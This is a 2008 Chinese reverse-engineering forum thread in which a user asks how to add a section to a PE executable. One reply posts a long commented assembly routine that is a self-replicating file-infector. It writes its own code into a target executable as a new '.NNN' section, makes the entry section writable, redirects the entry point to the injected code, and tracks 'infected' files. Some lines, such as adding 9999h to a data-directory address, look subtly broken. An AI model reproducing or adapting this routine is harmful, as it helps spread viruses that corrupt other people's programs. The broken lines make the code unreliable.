首页
社区
课程
招聘
[旧帖] [求助]问个简单的问题,如何给PE文件添加一个新节?? 0.00雪花
发表于: 2008-5-18 03:15 6874

[旧帖] [求助]问个简单的问题,如何给PE文件添加一个新节?? 0.00雪花

2008-5-18 03:15
6874
不改变程序流程,只是单纯的添加一个新节,让程序能够运行就行了.网上大多是添加节并且改变程序流程的,而且有含有汇编代码(看不太懂,只会C/C++),请高手发个简单的代码学习一下,谢谢先.

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 463
活跃值: (111)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
PE工具都可以呀.

Pe DiyTools这个直接就可以增加.
2008-5-18 14:06
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
用代码怎么弄啊?
2008-5-18 19:08
0
雪    币: 246
活跃值: (91)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
1:要将文件节数加一.(即FileHeader.NumberOfSections)
2:在原最后一个节表后(IMAGE_SECTION_HEADER)增加个节表。其中new section的VirtualAddress应该新加大小大小用内存块对齐(OptionalHeader.SectionAlignment)求整,可以直接等原文件的映象大小(OptionalHeader.SizeOfImage);new section 的磁盘文件大小(SizeOfRawData)和RVA大小(.Misc.VirtualSize)直接用新代码的大小填充;new section磁盘文件地址(PointerToRawData)要先比较原最后一个section是否是文件块的整数,不是要填充满,然后nwe section的PointerToRawData=原文件最后一section的(PointerToRawData)+SizeOfRawData)
3:修改映象大小(OptionalHeader.SizeOfImage)(注意要以内存对齐求整)
3:修改入口地址(OptionalHeader.AddressOfEntryPoin)
4:也可以修改代码段基址(OptionalHeader.BaseOfCode)
5:将新代码写入文件后。

以下代码是用汇编写的,有注解,也许对你有帮助
;========MyWriteFile=====================
;          修改目标执行文件,将自身写入其中
;参数:指向文件名的指针
;新增一节,修改原入口地址...
;========================================
MyWriteFile proc ExeFileName:DWORD
    pushad
    mov  eax,ExeFileName
    call exeopenbegin
exeopenbegin:
    pop  ebp
    sub  ebp,offset exeopenbegin
;以读写方式打开目标文件
    push 0
    push FILE_ATTRIBUTE_NORMAL
    push OPEN_EXISTING
    push 0
    push FILE_SHARE_READ+FILE_SHARE_WRITE
    push GENERIC_READ+GENERIC_WRITE
    push eax
    call [ebp+_CreateFile]              ;调用【CreateFile】打开文件
    .if eax==INVALID_HANDLE_VALUE
        jmp @@exeover
    .endif
    mov  [ebp+hFile],eax                ;保存文件句柄
    push 0
    push [ebp+hFile]
    call [ebp+_GetFileSize]             ;调用【GetFileSize】取文件大小
;保存目标文件大小
    mov  [ebp+FileSize],eax

;读入 PE 文件的 IMAGE_DOS_HEADER,并判断是否是EXE文件
    lea  eax,[ebp+_Read]
    push 0
    push eax
    mov  eax,sizeof img_dos_hdr
    push eax
    lea  eax,[ebp][img_dos_hdr]
    push eax
    push [ebp+hFile]
    call [ebp+_ReadFile]                ;调用【ReadFile】读DOS文件头
    ;判断是否为一个有效的 PE 文件
    cmp  [ebp][img_dos_hdr.e_magic], "ZM"
    .if !zero?                          ;如果不等于"0"
        jmp @@safe
     .endif
;把文件指针指向 IMAGE_NT_HEADERS,并读入该部分内容:
    push FILE_BEGIN
    push 0
    push [ebp][img_dos_hdr.e_lfanew]
    push [ebp][hFile]
    call [ebp][_SetFilePointer]         ;调用【SetFilePointer】,设置文件指针到img_dos_hdr.e_lfanew
                                        ;即指向NT_HEADER
    push 0
    lea  eax,[ebp][_Read]
    push eax
    push sizeof img_nt_hdrs
    lea  eax,[ebp][img_nt_hdrs]
    push eax
    push [ebp][hFile]
    call [ebp][_ReadFile]               ;调用【ReadFile】读入文件头
    cmp  [ebp][img_nt_hdrs.Signature], "EP"
    .if !zero?                          ;如果不等就跳走
        jmp @@safe
    .endif
;保存目标文件原入口地址
;在这儿有些麻烦,必须要分清楚外壳执行,自身运行时入口点的处理
    mov  eax,[ebp][img_nt_hdrs.OptionalHeader.AddressOfEntryPoint]
    add  eax,[ebp][img_nt_hdrs.OptionalHeader.ImageBase]
    cmp  [ebp][ReturnFlag],0            ;0==外壳执行
    jne  setreturnflag1
    mov  dword ptr[ebp][MyOldOep],eax
    mov  dword ptr[ebp][MyReturn],eax
    xor  eax,eax
    inc  eax
    mov  [ebp][ReturnFlag],eax
    jmp  setreturnflagover
setreturnflag1:                         ;1==第一个感染文件执行
    push [ebp][MyReturn]
    pop  [ebp][MyOldOep]
    mov  [ebp][MyReturn],eax
    xor  eax,eax
    inc  eax
    mov  [ebp][ReturnFlag],1
setreturnflagover:
;**************以下几句极为重要**************
;  因为在Win2K下要加载任一一个函数才能运行。
;  经参考:将导入范围表设置为NULL即可
;********************************************
;;    bswap  eax                     ;交换字节顺序(极度重要)
    xor  eax,eax
    push eax
    pop  [ebp][img_nt_hdrs.OptionalHeader.DataDirectory(88).VirtualAddress]
    movzx ecx,[ebp][img_nt_hdrs.FileHeader.NumberOfSections]
;------------------依次读入 IMAGE_SECTION_HEADER 内容------------------------
;并将入口地址所在的节属性改为可写
readsection:
    push ecx                            ;保存ECX计数器
    push 0
    lea  eax,[ebp][_Read]
    push eax
    push sizeof img_sect_hdr
    lea  eax,[ebp][img_sect_hdr]
    push eax
    push [ebp][hFile]
    call [ebp][_ReadFile]               ;调用【ReadFile】循环读入节表信息,直到读到最后一个节

    lea  eax,[ebp][img_sect_hdr.Name1]  ;
    cmp  dword ptr [eax], "NNN."        ;根据节名称,判断是否已被修改过,有则关闭文件句柄
    .if  zero?                          
        jmp @@safe
     .endif
    mov  eax,[ebp][img_nt_hdrs.OptionalHeader.AddressOfEntryPoint]
    mov  ecx,[ebp][img_sect_hdr.Characteristics]        ;取节属性
    and  ecx,20000000h                                  ;将节属性和20000000h与,如为20000000h则是可执行
    ;依次读出目标文件所有节信息进行分析
    ;如果入口地址比当前节RVA地址大 且 入口地址比当前节实际地址小 且 当前节属性为可执行
    ;则确定出入口地址所在的节,并保存所在节的磁盘文件地址,磁盘文件大小,RVA(作为新代码的入口地址)
    .if  eax>[ebp][img_sect_hdr.VirtualAddress] && eax<[ebp][img_sect_hdr.Misc.VirtualSize] && ecx==20000000h
        ;修改节属性为可写
        or   [ebp][img_sect_hdr.Characteristics],80000000h  ;设置入口地址所在的节属性为可写
    ;将修改后的节写回
        push FILE_CURRENT
        push 0
        push -28h
        push [ebp][hFile]
        call [ebp][_SetFilePointer]         ;调用【SetFilePointer】,当前文件指针回退28h
        push 0
        lea  eax,[ebp][_Write]
        push eax
        push sizeof img_sect_hdr
        lea  eax,[ebp][img_sect_hdr]
        push eax
        push [ebp][hFile]
        call [ebp][_WriteFile]              ;调用【WriteFile】写SECTION信息
    .else                                   ;从入口地址节后的每个节,相应的向后移动相应字节
        nop
        nop
        nop
        nop
    .endif
    pop  ecx
    dec  ecx                                ;取出ECX计数器
    cmp  ecx,0
    .if  !zero?
        jmp readsection
    .endif
;----------------修改新节信息并写入文件中----------------
;新入新节信息
    ;保存新节的名称为“.NNN”
    xor  eax,eax
    mov  dword ptr [ebp][img_sect_hdr.Name1+00h],eax        ;将节名清为空
    mov  dword ptr [ebp][img_sect_hdr.Name1+04h],eax
    mov  dword ptr [ebp][img_sect_hdr.Name1+00h], "NNN."
    ;保存原最后一个节的部分信息
    push [ebp][img_sect_hdr.PointerToRawData]
    pop  [ebp][endsecdiskaddr]
    push [ebp][img_sect_hdr.SizeOfRawData]
    pop  [ebp][endsecdisksize]
    push [ebp][img_nt_hdrs.OptionalHeader.SizeOfImage]  ;新节的RVA=原文件的映象大小
    pop  [ebp][img_sect_hdr.VirtualAddress]
    push FileLen
    pop  [ebp][img_sect_hdr.Misc.VirtualSize]           ;新节的RVA大小=新代码的大小

    push [ebp][img_nt_hdrs.OptionalHeader.FileAlignment]
    mov  eax,[ebp][img_sect_hdr.SizeOfRawData]
    add  eax,[ebp][img_sect_hdr.PointerToRawData]
    push eax
    call CalcDataSize
    push eax
    pop  [ebp][img_sect_hdr.PointerToRawData]           ;新节的磁盘地址=原磁盘地址+磁盘大小%文件对齐 ?
    push FileLen
    pop  [ebp][img_sect_hdr.SizeOfRawData]              ;新节的磁盘大小=新代码的大小
    or   [ebp][img_sect_hdr.Characteristics],80000000h  ;置属性为可写
    push 0
    lea  eax,[ebp][_Write]
    push eax
    push sizeof img_sect_hdr
    lea  eax,[ebp][img_sect_hdr]
    push eax
    push [ebp][hFile]
    call [ebp][_WriteFile]              ;调用【WriteFile】写SECTION信息
;修改入口地址
    push [ebp][img_nt_hdrs.OptionalHeader.SizeOfImage]
    pop  [ebp][img_nt_hdrs.OptionalHeader.AddressOfEntryPoint]
;修改代码段基址
    push [ebp][img_nt_hdrs.OptionalHeader.AddressOfEntryPoint]
    pop  [ebp][img_nt_hdrs.OptionalHeader.BaseOfCode]
;修改映象大小
;计算方式为以内存块对代码段求整
    push [ebp][img_nt_hdrs.OptionalHeader.SectionAlignment] ;取内存块对齐数值
    push FileLen
    call CalcDataSize
;增加镜像大小
    add  [ebp][img_nt_hdrs.OptionalHeader.SizeOfImage],eax
;增加文件节数
    inc  [ebp][img_nt_hdrs.FileHeader.NumberOfSections]

;修改导入、导出偏移
    cmp  dword ptr[ebp][img_nt_hdrs.OptionalHeader.DataDirectory(58h).VirtualAddress],0
    .if !zero?
        add  [ebp][img_nt_hdrs.OptionalHeader.DataDirectory(58h).VirtualAddress],9999h
    .endif
;--------------分配内存、计算以文件块对齐填充最后一个节的数据大小、读出附加数据------------------
;分配内存
    push [ebp][FileSize]                ;分配原始文件大小的内存
    push GPTR
    call [ebp+_GlobalAlloc]             ;调用【GlobalAlloc】分配内存
    .if eax==NULL
        jmp @@safe
    .endif
    mov  [ebp][pMem],eax
;计算
    push [ebp][img_nt_hdrs.OptionalHeader.FileAlignment]
    mov  eax,[ebp][endsecdiskaddr]
    add  eax,[ebp][endsecdisksize]
    push eax
    call CalcDataSize
    push eax
    pop  [ebp][zjdatasize]
    mov  eax,[ebp][endsecdiskaddr]
    add  eax,[ebp][endsecdisksize]
    sub  [ebp][zjdatasize],eax
;读附加数据
    push FILE_BEGIN
    push 0
    mov  eax,[ebp][endsecdiskaddr]
    add  eax,[ebp][endsecdisksize]
    push eax
    push [ebp][hFile]
    call [ebp][_SetFilePointer]         ;调用【SetFilePointer】,设置文件指针到原文件最后节
    push 0
    lea  eax,[ebp][_Read]
    push eax
    push [ebp][FileSize]
    push [ebp][pMem]
    push [ebp][hFile]
    call [ebp][_ReadFile]               ;调用【ReadFile】读附加数据
                                        ;读大小为原文件大小,地址到分配的内存中
                                        ;读的实际大小返回到_Read中,将其保存
    push [ebp][_Read]
    pop  [ebp][fjdatasize]
;-------------写文件头、节、填充原最后一个节的数据、写新代码、写原附加数据------------
;写入文件头
    push FILE_BEGIN
    push 0
    push [ebp][img_dos_hdr.e_lfanew]
    push [ebp][hFile]
    call [ebp][_SetFilePointer]         ;调用【SetFilePointer】,设置文件指针到img_dos_hdr.e_lfanew

    push 0
    lea  eax,[ebp][_Write]
    push eax
    push sizeof img_nt_hdrs
    lea  eax,[ebp][img_nt_hdrs]
    push eax
    push [ebp][hFile]
    call [ebp][_WriteFile]              ;调用【WriteFile】写NT_HEADER
;补齐最后节数据
    push FILE_BEGIN
    push 0
    mov  eax,[ebp][endsecdiskaddr]
    add  eax,[ebp][endsecdisksize]
    push eax
    push [ebp][hFile]
    call [ebp][_SetFilePointer]         ;调用【SetFilePointer】
    push 0
    lea  eax,[ebp][_Write]
    push eax
    push [ebp][zjdatasize]
    push [ebp][pMem]
    push [ebp][hFile]
    call [ebp][_WriteFile]              ;调用【WriteFile】被齐追加数据
;写入新代码
    push 0
    lea  eax,[ebp][_Write]
    push eax
    push FileLen
    lea  eax,exesectionEntry
    push eax
    push [ebp][hFile]
    call [ebp][_WriteFile]              ;调用【WriteFile】写入新代码
;写入附加数据
    push 0
    lea  eax,[ebp][_Write]
    push eax
    push [ebp][fjdatasize]
    push [ebp][pMem]
    push [ebp][hFile]
    call [ebp][_WriteFile]              ;调用【WriteFile】写入附加数据
@@safe:
    push [ebp][hFile]
    call [ebp][_CloseHandle]             ;调用【CloseHandle】关闭文件句柄
    ;如果分配内存指针不为空,就释放内存
    mov  eax,dword ptr[ebp][pMem]
    .if eax!=NULL
        push [ebp][pMem]
        call [ebp][_GlobalFree]          ;调用【GlobalFree】释放内存
    .endif
@@exeover:   
    popad
    ret
MyWriteFile endp
2008-5-19 11:52
0
雪    币: 371
活跃值: (67)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
5
really thx for the splendid code....^_^
2008-6-1 13:20
0
游客
登录 | 注册 方可回帖
返回
//